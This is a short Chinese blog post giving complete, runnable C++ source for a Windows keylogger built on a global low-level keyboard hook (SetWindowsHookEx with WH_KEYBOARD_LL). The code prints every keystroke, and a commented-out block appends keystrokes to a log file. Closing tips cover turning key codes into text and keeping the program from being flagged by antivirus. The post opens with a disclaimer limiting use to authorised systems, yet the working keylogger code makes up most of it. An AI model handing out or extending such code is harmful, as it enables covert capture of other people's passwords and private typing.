windows实现键盘记录

使用 SetWindowsHookEx 编写键盘记录器(键盘钩子/Keylogger)在技术上可行,通常用于调试、输入法、辅助功能开发。但出于合法合规目的,请确保仅在你有授权的系统或窗口中使用,比如你自己开发的程序或本地测试,切勿用于窃取他人隐私或非法监控。

示例:全局键盘钩子(WH_KEYBOARD_LL)

以下是一个基于 WinAPI 的最小可运行键盘记录器(记录到控制台)

项目设置要求

  • 平台:Windows
  • 编译环境:Visual Studio(或 g++ with WinAPI 支持)
  • 链接库:User32.lib

示例代码(键盘记录器)

#include <windows.h>
#include <iostream>
#include <fstream>

HHOOK hHook = NULL;

// 按键回调函数
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode == HC_ACTION) {
        KBDLLHOOKSTRUCT* p = (KBDLLHOOKSTRUCT*)lParam;

        if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
            DWORD vkCode = p->vkCode;

            char keyName[32];
            GetKeyNameTextA((LONG)(p->scanCode << 16), keyName, 32);

            std::cout << "[KEY] VK: " << vkCode << " Name: " << keyName << std::endl;

            // 也可以写入日志文件
            /*
            std::ofstream log("keylog.txt", std::ios::app);
            log << "Key Pressed: " << vkCode << std::endl;
            log.close();
            */
        }
    }

    return CallNextHookEx(hHook, nCode, wParam, lParam);
}

// 安装钩子
void SetHook() {
    hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, GetModuleHandle(NULL), 0);
    if (hHook == NULL) {
        std::cout << "Failed to install hook!" << std::endl;
    } else {
        std::cout << "Hook installed." << std::endl;
    }
}

// 卸载钩子
void Unhook() {
    UnhookWindowsHookEx(hHook);
    std::cout << "Hook removed." << std::endl;
}

int main() {
    SetHook();

    // 消息循环,否则钩子不会触发
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0)) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    Unhook();
    return 0;
}

  • WH_KEYBOARD_LL 只能在桌面进程中设置,不能在服务中工作。

  • 这段代码只是“监听按键事件”,如果你想记录文本,还需要配合 ToAscii() 或 GetKeyboardState() 转换为字符。

  • 为防止被杀毒软件误报为木马,避免编译后的程序驻留后台、上传按键信息等行为。

posted @ 2025-08-12 11:11  huh&uh  阅读(62)  评论(0)    收藏  举报